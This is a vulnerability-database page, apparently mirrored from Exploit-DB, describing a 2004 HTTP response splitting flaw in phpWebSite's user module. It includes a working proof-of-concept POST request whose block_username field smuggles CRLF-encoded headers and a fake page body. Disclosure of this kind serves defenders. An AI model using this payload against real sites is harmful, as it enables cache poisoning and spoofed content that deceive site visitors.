phpWebSite 0.7.3/0.8.x/0.9.3 – User Module HTTP Response Splitting

phpWebSite 0.7.3/0.8.x/0.9.3 – User Module HTTP Response Splitting

漏洞ID 1054739 漏洞类型
发布时间 2004-11-04 更新时间 2004-11-04
图片[1]-phpWebSite 0.7.3/0.8.x/0.9.3 – User Module HTTP Response Splitting-安全小百科CVE编号 N/A
图片[2]-phpWebSite 0.7.3/0.8.x/0.9.3 – User Module HTTP Response Splitting-安全小百科CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/24736
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/11673/info

A remote HTTP response splitting vulnerability reportedly affects phpWebSite in its user module. This issue is due to a failure of the application to properly sanitize user-supplied input.

A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust.

POST /index.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-length: 218
Connection: Keep-Alive

http://www.example.com/module=user&norm_user_op=login&block_username=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20Ok%0d%0aContent-Length:%2031%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>This site in 0wned{/html}&password=foobar

相关推荐: login_ldap Module Unauthorized Access Vulnerability

login_ldap Module Unauthorized Access Vulnerability 漏洞ID 1100862 漏洞类型 Failure to Handle Exceptional Conditions 发布时间 2003-02-21 更新时…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享